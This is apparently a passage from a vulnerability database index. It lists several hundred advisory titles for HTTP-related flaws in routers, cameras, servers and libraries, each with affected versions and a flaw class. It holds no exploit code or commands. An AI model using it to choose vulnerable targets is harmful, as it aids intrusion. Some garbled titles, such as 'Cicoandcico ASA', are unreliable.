17392| [131984] CUJO Smart Firewall 7003 Safe Browsing HTTP Requests Bypass privilege escalation
17393| [131943] Teracue ENC-400 up to 2.56 HTTP Endpoint weak authentication
17394| [131921] Webgalamb up to 7.0 HTTP Header subscriber.php sql injection
17395| [131916] Wowza Streaming Engine 4.7.4.01 REST API HTTP Request directory traversal
17396| [131878] shellinabox up to 2.20 HTTP Request Parser libhttp/url.c denial of service
17397| [131857] Insteon Hub 2245-222 up to 1012 PubNub Message HTTP Request Stack-based memory corruption
17398| [131856] Insteon Hub 2245-222 up to 1012 PubNub Message HTTP Request Stack-based memory corruption
17399| [131855] Insteon Hub 2245-222 up to 1012 PubNub Message HTTP Request Stack-based memory corruption
17400| [131795] Openwsman up to 2.6.9 process_connection() HTTP Requests denial of service
17401| [131794] Openwsman up to 2.6.9 openwsmand HTTP Request File directory traversal
17402| [131768] IBM Jazz Foundation up to 5.x/6.0.6 HTTP Header Injection privilege escalation
17403| [131689] Google Go 1.11.5 net-http HTTP Header CRLF privilege escalation
17404| [131615] Python up to 2.7.16/3.7.2 urllib/urllib2 urllib.request.urlopen HTTP Header privilege escalation
17405| [131565] Cisco NX-OS NX-API HTTPS Packet command injection
17406| [131479] Apache Solr up to 7.6 HTTP GET Request Server-Side Request Forgery
17407| [131446] Apache Solr up to 5.0.5/6.6.5 Config API HTTP POST Request Code Execution
17408| [131426] zzcms 8.3 /user/logincheck.php HTTP Header sql injection
17409| [131340] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 /GponForm/fsetup_Form HTTP POST Request memory corruption
17410| [131339] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 HTTP POST Request memory corruption
17411| [131338] Alcatel-Lucent I-240W-Q GPON ONT HTTP Request command injection
17412| [131337] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 HTTP Request command injection
17413| [131335] Alcatel-Lucent I-240W-Q GPON ONT 3FE54567BOZJ19 telnetd HTTP Request privilege escalation
17414| [131262] Cisco RV110W Wireless-N VPN Firewall Web-based Management Interface HTTP Requests privilege escalation
17415| [131173] D-Link DIR-878 1.12B01 HTTP Header strncpy memory corruption
17416| [131096] Netis WF2880/WF2411 2.1.36123 HTTP Header /bin/boa GET Request memory corruption
17417| [131072] IBM Security Identity Governance and Intelligence up to 5.2.4.1 Token httponly weak encryption
17418| [130967] PHPMyWind 5.5 admin/default.php HTTP Host Header cross site scripting
17419| [130922] Amazon Fire OS up to 5.3.6.3 HTTP Requests Man-in-the-Middle weak encryption
17420| [130870] UA-Parser UAP-Core up to 0.5.x regex.yaml HTTP Header denial of service
17421| [130752] Live555 0.95 Content-Length Header handleRequestBytes HTTP Header memory corruption
17422| [130692] ABBYY FlexiCapture 12 Release 1 HTTP API Parameter sql injection
17423| [130618] libcURL up to 7.63.x lib/vauth/ntlm.c Curl_auth_create_ntlm_type3_message HTTP Header memory corruption
17424| [130675] Kunbus PR100088 Modbus Gateway up to R02 HTTP weak encryption
17425| [130464] Helm ChartMuseum up to 0.8.0 HTTP API POST Request directory traversal
17426| [130388] http-live-simulator up to 1.0.6 URL directory traversal
17427| [130341] Apache HTTP Server 2.4.37 mod_ssl Loop denial of service
17428| [130330] Apache HTTP Server up to 2.4.37 mod_session Expired privilege escalation
17429| [130329] Apache HTTP Server 2.4.37 mod_http2 Slowloris denial of service
17430| [130257] pypiserver up to 1.2.5 HTTP Header CRLF privilege escalation
17431| [130251] Cisco SocialMiner Web-based User Interface HTTP Request cross site scripting
17432| [130245] Cisco RV320/RV325 Web-based Management Interface HTTP POST Request Command privilege escalation
17433| [130239] Cisco Connected Mobile Experiences API HTTP GET Request privilege escalation
17434| [130127] Cisco Identity Services Engine Administrative Web Interface HTTP Request privilege escalation
17435| [129977] Axway File Transfer Direct 2.7.1 HTTP GET Request directory traversal
17436| [129717] Oracle Secure Global Desktop 5.4 Apache HTTP Server denial of service
17437| [129573] Oracle WebLogic Server 10.3.6.0 Apache HTTP Server denial of service
17438| [129474] Oracle Communications Diameter Signaling Router up to 8.2 Apache HTTP Server information disclosure
17439| [129765] Juniper Junos on SRX HTTP Crash denial of service
17440| [129762] Juniper Junos Packet Forwarding Engine HTTP Packet Pointer Dereference denial of service
17441| [129148] LIVE555 Streaming Media 0.93 RTSPServer GroupsockHelper.cpp handleHTTPCmd_TunnelingPOST denial of service
17442| [128801] Cisco IOS/IOS XE TCP Socket HTTP Requests Reload denial of service
17443| [128981] McAfee Web Gateway 7.8.2.0 HTTP Request denial of service
17444| [128892] i-filter up to 9.50R05 HTTP Response Splitting privilege escalation
17445| [128836] Cybozu Dezie up to 8.1.2 HTTP Requests directory traversal
17446| [128834] Cybozu Office up to 10.8.1 HTTP Requests directory traversal
17447| [128831] Seiko Epson PX-S860 HTTP Header Header Injection privilege escalation
17448| [128809] Aterm W300P up to 1.0.13 HTTP Request memory corruption
17449| [128806] Aterm W300P up to 1.0.13 HTTP Request OS Command Injection privilege escalation
17450| [128805] Aterm WG1200HP up to 1.0.31 HTTP Request OS Command Injection privilege escalation
17451| [128691] Webroot BrightCloud SDK Header bc_http_read_header HTTP Header memory corruption
17452| [128680] MiniShare up to 1.4.1 HTTP POST Request memory corruption
17453| [128679] MiniShare up to 1.4.1 HTTP HEAD Request memory corruption
17454| [128607] Proxygen HTTP2 Parser Header/Trailer denial of service
17455| [128606] Proxygen HTTP2 Priority Setting denial of service
17456| [128541] NuttX up to 7.26 netlib_parsehttpurl.c netlib_parsehttpurl() denial of service
17457| [128368] Cisco ASA Web Management Interface HTTP Requests privilege escalation
17458| [128229] Logitech Harmony Hub up to 4.15 HTTP Request command injection
17459| [128204] WebID 1.2.2 getthumb.php HTTP GET Request directory traversal
17460| [128189] WebID 1.2.2 HTTP Request Blind sql injection
17461| [128171] Zend.To up to 5.15 verify.php HTTP POST Request cross site scripting
17462| [128146] aio-libs aiohttp-session up to 2.6.0 EncryptedCookieStorage/NaClCookieStorage Cookie weak authentication
17463| [128100] Webroot BrightCloud SDK HTTP Client TLS Certificate weak encryption
17464| [127994] WordPress up to 5.0.0 on Apache httpd MIME Restriction cross site scripting
17465| [127981] Apache OFBiz 16.11.01/16.11.02/16.11.03/16.11.04 HTTP Engine httpService GET Request privilege escalation
17466| [127898] IBM BigFix Platform up to 9.5.9 Cookie httponly privilege escalation
17467| [127895] IBM BigFix Platform up to 9.5.9 HTTP Response Splitting privilege escalation
17468| [127877] SAP NetWeaver AS JAVA up to 7.50 Web Container HTTP Host Header cross site scripting
17469| [127866] urllib3 up to 1.22 Authorization HTTP Header Credentials information disclosure
17470| [127656] Moxa NPort W2x50A up to 2.1 Web Server webSettingProfileSecurity HTTP POST Request privilege escalation
17471| [127655] Moxa NPort W2x50A up to 2.1 Web Server net_WebPingGetValue HTTP POST Request privilege escalation
17472| [127532] IBM Maximo Asset Management 7.6 HTTP Request Username information disclosure
17473| [127456] simplehttpserver up to 0.2.1 directory traversal
17474| [127439] YunoHost up to 2.7.14 HTTP Response Header Header Injection privilege escalation
17475| [127426] MetInfo 6.1.3 HTTP Header applogin.php Variable privilege escalation
17476| [127368] TP-LINK TL-R600VPN HTTP Server header-parsing HTTP Request Code Execution
17477| [127367] TP-LINK TL-R600VPN HTTP Server HTTP Request privilege escalation
17478| [127366] TP-LINK TL-R600VPN HTTP Server Web Request directory traversal
17479| [127374] Modicon M340, Premium, Quantum PLCs and BMXNOR0200 Embedded Web Server HTTP Response Response Splitting privilege escalation
17480| [127297] OCS Inventory NG File Upload HTTP Requests Code Execution
17481| [127281] OpenWrt/LEDE uhttpd cgi-bin/ cgi_handle_request Request cross site scripting
17482| [127268] Cisco Prime License Manager Web Framework HTTP POST Request sql injection
17483| [127261] Node.js up to 6.14.x/8.13.x/10.13.x/10.2.x HTTP Header Slowloris denial of service
17484| [127260] Node.js up to 6.14.x/8.13.x/10.13.x HTTP Header Heap-based denial of service
17485| [127258] Node.js up to 6.14.x/8.13.x HTTP Request Response Splitting privilege escalation
17486| [127124] Buffalo TS5600D1206 3.61-0.10 nasapi HTTP Host Header weak authentication
17487| [127077] HuCart 5.7.4 helper_class.php get_ip() HTTP Header sql injection
17488| [127056] PRTG Network Monitor up to 18.2.40 /api/addusers HTTP Request privilege escalation
17489| [127055] PRTG Network Monitor up to 18.2.40 /public/login.htm HTTP Request privilege escalation
17490| [127040] Loadbalancer.org Enterprise VA MAX up to 8.3.2 Apache HTTP Server Log cross site scripting
17491| [126973] ZTE ZXHN F670 V1.1.10P3T18 appviahttp Service privilege escalation
17492| [126970] ZTE ZXHN F670 V1.1.10P3T18 appviahttp Service information disclosure
17493| [126905] NEOJAPAN Denbun Mail Search HTTP Requests sql injection
17494| [126802] Nagios XI 5.5.6 HTTP Request Command privilege escalation
17495| [126801] Nagios XI 5.5.6 Snoopy 1.0 HTTP Request privilege escalation
17496| [126669] PRTG Network Monitor up to 18.3 HTTP Advanced Sensor HttpAdvancedSensor.exe POST Parameter privilege escalation
17497| [126668] PRTG Network Monitor up to 18.2 PRTG Core Server Service HTTP Request denial of service
17498| [126649] JEESNS 1.3 XssHttpServletRequestWrapper.java cross site scripting
17499| [126577] Cisco Stealthwatch Enterprise Management Console HTTP Request privilege escalation
17500| [126530] lighttpd up to 1.4.49 mod_alias_physical_handler mod_alias.c directory traversal
17501| [126525] nginx up to 1.14.0/1.15.5 ngx_http_mp4_module Loop denial of service
17502| [126524] nginx up to 1.14.0/1.15.5 HTTP2 CPU Exhaustion denial of service
17503| [126523] nginx up to 1.14.0/1.15.5 HTTP2 Memory Consumption denial of service
17504| [126406] Green Electronics RainMachine Mini-8/Touch HD 12 Web Application HTTP Header weak authentication
17505| [126080] zzcms 8.3 zt/top.php HTTP Header sql injection
17506| [126071] Acme mini_httpd up to 1.29 directory traversal
17507| [126002] Arcserve Unified Data Protection up to 6.5 Update 4 UdpHttpService XML External Entity
17508| [125972] Mozilla Firefox up to 62.x HTTP Warning spoofing
17509| [125961] Mozilla Firefox up to 62.x on Android HTTP Live Streaming privilege escalation
17510| [125916] Splunk Enterprise up to 6.2.13/6.3.9/6.4.6/6.5.4 HTTP Request denial of service
17511| [125914] Splunk Enterprise up to 6.2.13/6.3.10/6.4.7 Splunkd HTTP Request denial of service
17512| [125841] Advantech WebAccess up to 8.3.2 opcImg.asp HTTP Request memory corruption
17513| [125828] LIVE555 RTSP Server 0.92 HTTP Packet Parser Crafted Packet Stack-based memory corruption
17514| [125726] Cisco Enterprise NFV Infrastructure Software Management Interface HTTP Requests cross site request forgery
17515| [125710] Cisco Wireless LAN Controller Software Web-based Interface HTTP Request information disclosure
17516| [125668] D-Link DWR-111 Web Interface HTTP Request directory traversal
17517| [125569] Oracle PeopleSoft Enterprise PeopleTools 8.55/8.56 Apache HTTP Server information disclosure
17518| [125443] Oracle HTTP Server 12.2.1.3 Web Listener memory corruption
17519| [125276] Micro Focus Enterprise Developer and Enterprise Server up to 2.3 Update 2/3.0 Update 11/4.0 Update 1 HTTP Request Parameter NULL Pointer Dereference denial of service
17520| [125222] Eclipse Vert.x up to 3.5.3 HTTP Response denial of service
17521| [125186] EpiCentro E_7.3.2+ httpd GET Request memory corruption
17522| [125185] EpiCentro E_7.3.2+ httpd GET Request memory corruption
17523| [125038] privacyIDEA up to 2.23.1 /validate/check HTTP Request denial of service
17524| [124952] wp-slimstat Plugin up to 4.1.6.0 on WordPress HTTP Referer Header cross site scripting
17525| [124931] Cisco HyperFlex HX Data Platform Web-based UI HTTP Requests information disclosure
17526| [124925] Cisco HyperFlex Software Web UI HTTP Requests Clickjacking privilege escalation
17527| [124907] Cisco Integrated Management Controller Web Interface HTTP Request information disclosure
17528| [124906] Cisco Integrated Management Controller Web Interface HTTP Request denial of service
17529| [124892] Cicoandcico ASA/Firepower Threat Defense Cryptographic Hardware Accelerator Driver denial of service
17530| [124890] Cisco Prime Infrastructure HTTP Web Server File Upload privilege escalation
17531| [124862] Cisco IOS XE Web Framework HTTP Packet memory corruption
17532| [124861] Cisco IOS XE Web User Interface HTTP Requests Double-Free denial of service
17533| [124853] Cisco Enterprise NFV Infrastructure Software Web-based Management Interface HTTP Request denial of service
17534| [124839] Cisco Data Center Network Manager Web Interface HTTP Request privilege escalation
17535| [124821] Cisco RV180W/RV220W Web Framework HTTP Request directory traversal
17536| [124651] TP-LINK TL-WRN841N 0.9.1 4.16 v0348.0 Web Interface HTTP Header denial of service
17537| [124650] TP-LINK TL-WRN841N 0.9.1 4.16 v0348.0 Web Interface HTTP Header denial of service
17538| [124496] AssoCIateD Postman up to up to 6.3.0 X.509 Certificate Validation HTTPS Request Man-in-the-Middle information disclosure
17539| [124469] Philips e-Alert Unit up to R2.1 HTTP Response Header Banner information disclosure
17540| [124447] Apache HTTP Server up to 2.4.34 SETTINGS Frame denial of service
17541| [124430] Python up to 3.8 Elementtree C Accelerator XML Document Collision denial of service
17542| [124436] Asterisk PBX up to 13.23.0/14.7.7/15.6.0 res_http_websocket.so HTTP Request denial of service
17543| [124392] Samsung SmartThings Hub Video-Core HTTP Server HTTP Request Stack-based memory corruption
17544| [124391] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server /cameras/XXXX/clips memory corruption
17545| [124390] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
17546| [124389] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
17547| [124388] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
17548| [124387] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core HTTP Server memory corruption
17549| [124346] Apache Mesos pre-1.4.2/1.5.0/1.5.1/1.6.0 on Executor HTTP API String Comparison validation JSON Web Token information disclosure
17550| [124239] NUUO NVRMini2 up to 3.8.0 cgi_system HTTP Requests privilege escalation
17551| [124237] Foscam C1 Indoor HD Camera 2.52.2.43 Web Management Interface HTTP Request memory corruption
17552| [124233] Foscam C1 Indoor HD Camera 2.52.2.43 Web Management Interface HTTP Request command injection
17553| [124159] Oracle WebCenter Interaction Portal 10.3.3 Session Cookie httponly privilege escalation
17554| [124139] Foscam C1 Indoor HD Camera 2.52.2.43 Recovery Procedure HTTP Request privilege escalation
17555| [124133] Insteon Hub 1012 HTTP Server GET Parameter information disclosure
17556| [124127] zzcms 8.3 HTTP Header /user/check.php sql injection
17557| [124081] D-Link DIR-816 A2 1.10 B05 /goform/sylogapply handler HTTP Request command injection
17558| [124077] LG SuperSign CMS Service Port 9080 reboot HTTP Request denial of service
17559| [123966] Monstra CMS 3.0.4 Captcha cryptographp.php HTTP Header privilege escalation
17560| [123948] Lone Wolf Technologies loadingDOCS 2018-08-13 Permission HTTPS Request privilege escalation
17561| [123905] xunfeng 0.2.0 views/lib/AntiCSRF.py HTTP Header cross site request forgery
17562| [123754] OctoPrint up to 1.3.9 Service Port 8081 HTTP Requests privilege escalation
17563| [123732] KONE Group Controller up to 4.6.5 HTTP interfaces Parameter Local File Inclusion privilege escalation
17564| [123730] KONE Group Controller up to 4.6.5 HTTP interfaces Code Execution
17565| [123729] KONE Group Controller up to 4.6.5 HTTP interfaces denial of service
17566| [123599] NodeJS Tough-Cookie 2.2.2 HTTP Cookie Regular Expression denial of service
17567| [123537] Gogs 0.11.53 HTTP GET Request Server-Side Request Forgery
17568| [123464] simplehttpserver up to 0.2.0 Listing directory traversal
17569| [123434] Lightbend Akka HTTP up to 10.0.13/10.1.4 decodeRequest/decodeRequestWith Request denial of service
17570| [123390] Apache Traffic Server up to 6.2.2/7.1.3 Request HTTP Smuggling privilege escalation
17571| [123380] Cybrotech CyBroHttpServer 1.0.3 URI cross site scripting
17572| [123379] Cybrotech CyBroHttpServer 1.0.3 URI directory traversal
17573| [123346] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests privilege escalation
17574| [123336] D-Link DIR-615 HTTP Header memory corruption
17575| [123293] Samsung SmartThings Hub STH-ETH-250 0.20.17 hubCore Process HTTP Request denial of service
17576| [123292] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
17577| [123291] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process /cameras/XXXX/clips HTTP Request memory corruption
17578| [123259] mod_perl up to 2.0.10 .htaccess HTTP Request privilege escalation
17579| [123207] NEC Aterm WG2600HP2 1.0.2 Web Service API negotiate HTTP Request privilege escalation
17580| [123205] PLANEX CS-W50HD up to 30719 Web Management UI /cgi-bin/nasset.cgi HTTP POST Request command injection
17581| [123204] D-Link EyeOn Baby Monitor DCS-825L 1.08.1 Web Service Framework HTTP Requests command injection
17582| [123202] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests REST privilege escalation
17583| [123201] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests JSON privilege escalation
17584| [123194] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Requests Stack-based memory corruption
17585| [123193] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
17586| [123191] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Header Injection privilege escalation
17587| [123190] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
17588| [123189] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
17589| [123188] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
17590| [123187] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based sql injection
17591| [123186] Samsung SmartThings Hub STH-ETH-250 0.20.17 Credentials HTTP Requests JSON sql injection
17592| [123184] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video Core HTTP Request Stack-based memory corruption
17593| [123183] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video Core HTTP Requests Stack-based memory corruption
17594| [123181] Samsung SmartThings Hub STH-ETH-250 0.20.17 Video-Core Process HTTP Request Stack-based memory corruption
17595| [123178] Insteon Hub 1013 HTTP Server /mpfsupload POST Request privilege escalation
17596| [123161] MikroTik RouterOS up to 6.40.8/6.42.6 HTTP Server Disconnect denial of service
17597| [123160] MikroTik RouterOS up to 6.40.8/6.42.6 HTTP Server JSON Recursion denial of service
17598| [123159] MikroTik RouterOS up to 6.40.8/6.42.6 HTTP Server HTTP POST Request Memory Exhaustion denial of service
17599| [123156] Insteon Hub 2245-222 1012 PubNub Service HTTP Request Stack-based memory corruption
17600| [123045] PostgreSQL up to 9.3.14/9.4.9/9.5.4 Interactive Installer HTTP privilege escalation
17601| [123020] EmbedThis GoAhead/Appweb HTTP POST Request NULL Pointer Dereference denial of service
17602| [123019] EmbedThis GoAhead/Appweb HTTP Request NULL Pointer Dereference denial of service
17603| [122911] Sony IPELA E Network Camera G5 1.87.00 GET Request HTTP Request command injection
17604| [122891] Eclipse Vert.x up to 3.5.1 HttpServer/HttpClient Header Header Injection privilege escalation
17605| [122889] Apache HTTP Server up to 2.2.31/2.4.23 mod_userdir HTTP Response Splitting privilege escalation
17606| [122737] CouchDB up to 2.1.x HTTP API Code Execution
17607| [122650] Insteon Hub up to 1012 PubNub Service HTTP Request Stack-based memory corruption
17608| [122649] Insteon Hub up to 1012 PubNub Message HTTP Request Stack-based memory corruption
17609| [122581] OCS Inventory 2.4.1 XML Parser HTTP Request privilege escalation
17610| [122593] PHP up to 7.0.26/7.1.12/7.2.0 http_fopen_wrapper.c HTTP Response memory corruption
17611| [122591] Symfony up to 4.1.2 HttpKernel Header privilege escalation
17612| [122590] Symfony up to 4.1.2 Http Foundation prepareRequestUri() Request Header privilege escalation
17613| [122565] Insteon Hub 1013 HTTP Server HTTP Requests denial of service
17614| [122545] SAP BPC Reporting HTTP Requests XML External Entity
17615| [122544] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
17616| [122543] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
17617| [122542] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
17618| [122541] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
17619| [122540] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
17620| [122539] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
17621| [122538] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
17622| [122537] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
17623| [122536] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
17624| [122535] Insteon Hub 1012 HTTP Server HTTP Request memory corruption
17625| [122534] Insteon Hub 1012 HTTP Server HTTP GET Request Stack-based memory corruption
17626| [122533] Insteon Hub 1012 HTTP Server HTTP GET Request memory corruption
17627| [122532] Insteon Hub 1012 HTTP Server HTTP GET Request memory corruption
17628| [122507] Agiletestware Pangolin Connector for TestRail Plugin up to 2.1 on Jenkins GlobalConfig.java HTTP Requests privilege escalation
17629| [122501] TraceTronic ECU-TEST Plugin up to 2.3 on Jenkins ATXPublisher.java HTTP Requests Server-Side Request Forgery
17630| [122471] Ceph 1.3.x Object Gateway HTTP Requests CORS denial of service
17631| [122291] Undertow HTTP HTTP Response Cache Poisoning privilege escalation
17632| [122256] Undertow up to 1.3.30/1.4.16 HTTP Request Header Request Smuggling privilege escalation
17633| [122199] F5 BIG-IP up to 11.6.3.2/12.1.3.6/13.0.1 HTTP Health Monitor unknown vulnerability
17634| [122198] F5 BIG-IP ASM up to 11.5.6/11.6.3.1/12.1.3.5/13.1.0.1 bd HTTP Requests CPU Exhaustion denial of service
17635| [122106] Jenkins up to 2.121.1/2.132 Stapler Web Framework Stapler.java HTTP Requests directory traversal
17636| [122017] IBM Sterling B2B Integrator up to 5.2.6 HTTP Requests information disclosure
17637| [121993] F5 BIG-IP up to 11.6.3/12.1.3/13.1.0 TMM HTTP Response Restart denial of service
17638| [121953] Wireshark up to 2.6.1 HTTP2 Dissector packet-http2.c Packet denial of service
17639| [121935] Cisco Policy Suite Policy Builder HTTP Request privilege escalation
17640| [121916] Cisco SD-WAN Solution up to 18.2.x Configuration/Management HTTP Request denial of service
17641| [121910] Apache HTTP Server 2.4.33 mod_md HTTP Requests denial of service
17642| [121900] Atlassian up to 2.0.2 atlassian-http Content-Type spoofing
17643| [121870] Oracle Sun ZFS Storage Appliance Kit (AK) up to 8.7.17 HTTP Data Path Subsystems unknown vulnerability
17644| [121540] Play Framework 2.6.12/2.6.13/2.6.14/2.6.15 on Windows Assets Controller HTTP Requests directory traversal
17645| [121481] VelotiSmart WiFi B-380 Camera 1.0.0 uc-http Service directory traversal
17646| [121463] Hughes HN7740S/DW7000/HN7000S-SM /com/gatewayreset HTTP GET Request privilege escalation
17647| [121447] Imagely NextGEN Gallery up to 2.1.56 on WordPress HTTP POST Request privilege escalation
17648| [121436] Zizai Nut App HTTP weak encryption
17649| [121354] Apache CouchDB HTTP API Code Execution
17650| [121324] Juniper SRX HTTP/HTTPS Request Man-in-the-Middle weak encryption
17651| [121194] Intel Manageability Engine up to 11.x Active Management Technology HTTP Request memory corruption
17652| [120939] ABBYY FlexiCapture 12 Release 1 Update 6 HTTP API SevaUserProfile Parameter privilege escalation
17653| [120492] Synology SSL VPN Client up to 1.2.4 HTTP Daemon Man-in-the-Middle privilege escalation
17654| [120309] Schneider Electric U.motion Builder up to 1.3.3 HTTP GET Request unknown vulnerability
17655| [120247] Sonos Wireless Speaker UPnP HTTP Server DNS Rebinding privilege escalation
17656| [119992] AXIS IP Camera httpd memory corruption
17657| [119975] Openstack Cloud Plugin up to 2.35 on Jenkins BootSource.java HTTP Requests information disclosure
17658| [119967] Trovebox up to 4.0.0-rc6 Password Reset HTTP Request privilege escalation
17659| [119966] Trovebox up to 4.0.0-rc6 HTTP Request Server-Side Request Forgery
17660| [119965] Trovebox up to 4.0.0-rc6 Album HTTP Request sql injection
17661| [119964] Trovebox up to 4.0.0-rc6 Album View HTTP Request weak authentication
17662| [119962] Wekan 1.04.0 HTTP Request User information disclosure
17663| [119936] aio-libs aiohttp-session Session Session Fixation weak authentication
17664| [119873] Eclipse Jetty up to 9.2.x/9.3.x/9.4.x HTTP 0.9 Request Cache Poisoning privilege escalation
17665| [119842] Spring Framework up to 4.3.17/5.0.6 MVC HTTP Request cross site scripting
17666| [119837] DIGISOL DG-BR4000NG Authorization Header HTTP Header memory corruption
17667| [119811] MISP 2.4.92 Brute-Force Protection UsersController.php HTTP PUT Request privilege escalation
17668| [119795] Micro Focus Business Manager up to 11.3 HTTP Header Reflected privilege escalation
17669| [119783] Cisco Meeting Server Web Admin Interface HTTP Requests Restart denial of service
17670| [119774] Cisco NX-OS NX-API Subsystem HTTP Packet command injection
17671| [119764] Cisco FXOS/UCS Fabric Interconnect Software Web UI HTTP Packet memory corruption
17672| [119747] Cisco NX-OS NX-API Subsystem HTTP Packet memory corruption
17673| [119690] Mongoose 6.11 HTTP Request mongoose.c mbuf_insert memory corruption
17674| [119676] Linaro Lava Submit Page HTTP Request File information disclosure
17675| [119660] PortSwigger Burp Suite Community Edition 1.7.32/1.7.33 Server Certificate Validator HTTPS Request Man-in-the-Middle weak encryption
17676| [122569] Apache HTTP Server up to 2.4.33 HTTP2 Request denial of service
17677| [119595] McAfee ePolicy Orchestrator up to 5.9.1 Application Protection HTTP Request privilege escalation
17678| [119569] Automated Logic WebCTRL 6.0/6.1/6.5 HTTP Header XML External Entity
17679| [119545] Huawei HG255s-10 V100R001C163B025SP02 HTTP Requests directory traversal
17680| [119539] Node.js 9.x/10.x HTTP Server Crash denial of service
17681| [119503] SensioLabs Symfony up to 2.7.47/2.8.40/3.3.16/3.4.10/4.0.10 HttpFoundation PDOSessionHandler denial of service
17682| [119470] Microsoft Windows up to Server 2016 HTTP HTTP.sys denial of service
17683| [119437] Microsoft Windows up to Server 2016 HTTP Protocol Stack Http.sys memory corruption
17684| [119408] Western Digital TV Media Player/TV Live Hub Web Server toServerValue.cgi HTTP Requests Code Execution
17685| [119376] McAfee Network Security Management up to 8.2.7 Web Interface HTTP Request privilege escalation
17686| [119280] XiongMai uc-httpd 1.0.0 memory corruption
17687| [119262] McAfee Common UI 2.0.2 ePO Extension HTTP Request privilege escalation
17688| [119227] Cisco ASA Authentication HTTP Traffic privilege escalation
17689| [119218] https-proxy-agent up to 2.1.0 on Node.js JSON Parameter Memory Leak denial of service
17690| [119215] https-proxy-agent on Node.js Memory Leak denial of service
17691| [119198] simplehttpserver on Node.js cross site scripting
17692| [119195] angular-http-server on Node.js URL directory traversal
17693| [119121] fast-http-cli on Node.js URL directory traversal
17694| [119101] http_static_simple on Node.js URL directory traversal
17695| [119096] HTTP Client Module on Node.js ZIP Archive Memory Consumption denial of service
17696| [119066] charset up to 1.0.0 on Node.js DHTTP_MAX_HEADER_SIZE Regular Expression denial of service
17697| [119065] tiny-http on Node.js URL directory traversal
17698| [119062] iter-http on Node.js URL directory traversal
17699| [119044] http-proxy.js on Node.js Environment Variable privilege escalation
17700| [118985] Jenkins up to 2.120/LTS 2.107.2 ZipExtractionInstaller.java HTTP GET Request Server-Side Request Forgery
17701| [118904] Http-proxy up to 0.6.x on Node.js Error Crash denial of service
17702| [118903] Hapi up to 16.1.0 on Node.js HTTP Header Crash denial of service
17703| [118896] http-signature up to 0.9.11 on Node.js Download weak encryption
17704| [118617] Nikto up to 2.1.6 CSV Report HTTP Response Header privilege escalation
17705| [118522] httpsync on Node.js Download weak encryption
17706| [118302] Hapi Module up to 11.1.2 on Node.js HTTP Header denial of service
17707| [118281] dtSearch up to 7.90.8538.1 search HTTP Request denial of service
17708| [118237] Trend Micro Smart Protection Server 3.x HTTP HTTP Requests denial of service
17709| [118220] HAProxy up to 1.8.9 Authorization Header proto_http.c check_request_for_cacheability information disclosure
17710| [118162] ABB SREA-01/SREA-50 HTTP Request privilege escalation
17711| [117974] D-Link DIR-550A/DIR-604M up to 2.10KR HTTP Request Code Execution
17712| [117891] Node.js HTTP Parser unknown vulnerability
17713| [117782] Intelbras NCLOUD 300 1.0 ExportSettings.sh HTTP POST Request weak authentication
17714| [117662] D-Link DIR-816 A2 CN 1.10B05 GoAhead Web Server websRedirect HTTP Host Header memory corruption
17715| [117553] SAP Internet Graphics Server 7.20/7.20EXT/7.45/7.49/7.53 HTTP Listener/RFC Listener Flooding denial of service
17716| [117415] nghttp2 up to 0.9.x/1.30.x ALTSVC Frame Segmentation Fault denial of service
17717| [117389] GNU wget up to 1.19.4 Cookie http.c resp_new privilege escalation
17718| [117355] Sierra Wireless AirLink LS300 HTTP Request privilege escalation
17719| [117347] Apache Ambari up to 2.6.1 HTTP Request directory traversal
17720| [117210] Huawei MBB E5771h-937 Webserver HTTP Request denial of service
17721| [117182] CMS Made Simple up to 2.2.7 tmp/ HTTP Requests privilege escalation
17722| [117164] Edimax IC-3140W/5150W/IC-6220DC getsysyeminfo.cgi strcpy() HTTP Request memory corruption
17723| [117054] GNOME libsoup 2.58 HTTP Request Stack-based memory corruption
17724| [117046] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request command injection
17725| [117045] Foscam C1 Indoor HD Camera 2.52.2.37 Web Management Interface HTTP Request command injection
17726| [116954] Ericsson-LG iPECS NMS A.1Ac HTTP POST Request information disclosure
17727| [116924] Belkin N750 1.10.22 Telnet set.cgi HTTP Request weak authentication
17728| [116923] Belkin N750 1.10.22 HTTP Request proxy.cgi memory corruption
17729| [116922] Belkin N750 1.10.22 HTTP Request proxy.cgi privilege escalation
17730| [116921] Belkin N750 1.10.22 HTTP Request twonky_command.cgi privilege escalation
17731| [116884] Cisco MATE Live Web Interface HTTP Requests information disclosure
